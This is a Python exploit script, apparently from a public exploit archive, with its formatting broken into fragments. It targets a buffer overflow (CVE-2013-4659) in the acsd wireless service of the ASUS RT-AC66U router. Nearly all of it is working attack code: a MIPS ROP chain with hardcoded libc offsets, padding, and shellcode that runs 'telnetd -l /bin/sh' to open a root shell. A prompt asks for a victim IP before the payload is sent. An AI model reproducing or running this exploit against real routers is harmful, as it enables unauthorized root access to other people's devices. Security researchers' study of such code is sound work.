#!/usr/bin/env python
import
signal, struct
from
time
import
sleep
from
socket
import
*
from
sys
import
exit, exc_info
#
# Title*******************ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
# Discovered and Reported*June 2013
# Discovered/Exploited By*Jacob Holcomb/Gimppy and Jacob Thompson
# *Security Analsyts @ Independent Security Evaluators
# Software Vendor*********http://asus.com
# Exploit/Advisory********http://securityevaluators.com, http://infosec42.blogspot.com/
# Software****************acsd wireless service (Listens on TCP/5916)
# Firmware Version********3.0.0.4.266 (Other versions were not tested and may be vulnerable)
# CVE*********************ASUS RT-AC66U Multiple Buffer Overflows: CVE-2013-4659
#
# Overview:
# The ASUS RT-AC66U contains the Broadcom ACSD Wireless binary that is vulnerable to multiple
# Buffer Overflow attacks.
#
# Multiple overflows exist in the following software:
#
# - Broadcom acsd - Wireless Channel Service (autochannel¶m, autochannel&data, csscan&ifname commands)
#
def
sigHandle(signum, frm):
# Signal handler
print
"\n[!!!] Cleaning up the exploit... [!!!]\n"
sleep(
1
)
exit(
0
)
def
targServer():
while
True
:
try
:
server
=
inet_aton(
raw_input
(
"\n[*] Please enter the IPv4 address of the ASUS RT-AC66U router:\n\n>"
))
server
=
inet_ntoa(server)
break
except
:
print
"\n\n[!!!] Error: Please enter a valid IPv4 address. [!!!]\n\n"
sleep(
1
)
continue
return
server
def
main():
print
(
"""\n [*] Title: ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
[*] Discovered and Reported: June 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy and Jacob Thompson, Security Analysts @ ISE
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: acsd wireless service (Listens on TCP/5916)
[*] Firmware Version: 3.0.0.4.266 (Other versions were not tested and may be vulnerable)
[*] CVE: ASUS RT-AC66U Broadcom ACSD Buffer Overflow: CVE-2013-4659\n"""
)
signal.signal(signal.SIGINT, sigHandle)
#Setting signal handler for ctrl + c
victim
=
targServer()
port
=
int
(
5916
)
acsdCmd
=
"autochannel¶m="
#Vulnerable command - JH
# base address of .text section of libc.so.0 in acsd's address space
libc_base
=
0x2ab25000
# ROP gadget #1
# lui s0,0x2
# li a0,1
# move t9,s1
# jalr t9
# ori a1,s0,0x2
ra1
=
struct.pack(
"<L"
, libc_base
+
0x2d39c
)
# ROP gadget #2
# move t9,s3
# lw ra,44(sp)
# lw s4,40(sp)
# lw s3,36(sp)
# lw s2,32(sp)
# lw s1,28(sp)
# lw s0,24(sp)
# jr t9
s1
=
struct.pack(
"<L"
, libc_base
+
0x34358
)
# sleep() - used to force program context switch (cache flush)
s3
=
struct.pack(
"<L"
, libc_base
+
0x2cb90
)
# ROP gadget #3
# addiu a1,sp,24
# lw gp,16(sp)
# lw ra,32(sp)
# jr ra
# addiu sp,sp,40
ra2
=
struct.pack(
"<L"
, libc_base
+
0xa1b0
)
# ROP gadget #4
# move t9,a1
# addiu a0,a0,56
# jr t9
# move a1,a2
ra3
=
struct.pack(
"<L"
, libc_base
+
0x3167c
)
# jalr sp
jalr_sp
=
"\x09\xf8\xa0\x03"
JuNk
=
"\x42"
*
510
safeNop
=
"2Aa3"
#80 Bytes system() Shellcode by Jacob Holcomb of ISE
#Calling system() and executing telnetd -l /bin/sh
shellcode
=
"\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
shellcode
+
=
"\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
shellcode
+
=
"\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
shellcode
+
=
"\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
shellcode
+
=
"\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
shellcode
+
=
"\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
shellcode
+
=
"\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
shellcode
+
=
"\x41\x61\x33"
sploit
=
acsdCmd
+
JuNk
+
s1
+
JuNk[
0
:
4
]
+
s3
+
ra1
+
JuNk[
0
:
48
]
sploit
+
=
ra2
+
JuNk[
0
:
24
]
+
jalr_sp
+
safeNop
+
ra3
+
JuNk[
0
:
4
]
sploit
+
=
safeNop
+
shellcode
try
:
print
"\n [*] Creating network socket."
net_sock
=
socket(AF_INET, SOCK_STREAM)
except
:
print
"\n [!!!] There was an error creating the network socket. [!!!]\n\n%s\n"
%
exc_info()
sleep(
1
)
exit(
0
)
try
:
print
" [*] Connecting to ASUS RT-AC66U router @ %s on port TCP/%d."
%
(victim, port)
net_sock.connect((victim, port))
except
:
print
"\n [!!!] There was an error connecting to %s. [!!!]\n\n%s\n"
%
(victim, exc_info())
sleep(
1
)
exit(
0
)
try
:
print
""" [*] Attempting to exploit the acsd param command.
[*] Sending 1337 ro0t Sh3ll exploit to %s on TCP port %d.
[*] Payload Length: %d bytes."""
%
(victim, port,
len
(sploit))
net_sock.send(sploit)
sleep(
1
)
except
:
print
"\n [!!!] There was an error sending the 1337 ro0t Sh3ll exploit to %s [!!!]\n\n%s\n"
%
(victim, exc_info())
sleep(
1
)
exit(
0
)
try
:
print
""" [*] 1337 ro0t Sh3ll exploit was sent! Fingers crossed for code execution!
[*] Closing network socket. Press ctrl + c repeatedly to force exploit cleanup.\n"""
net_sock.close()
except
:
print
"\n [!!!] There was an error closing the network socket. [!!!]\n\n%s\n"
%
exc_info()
sleep(
1
)
exit(
0
)
if
__name__
=
=
"__main__"
:
main()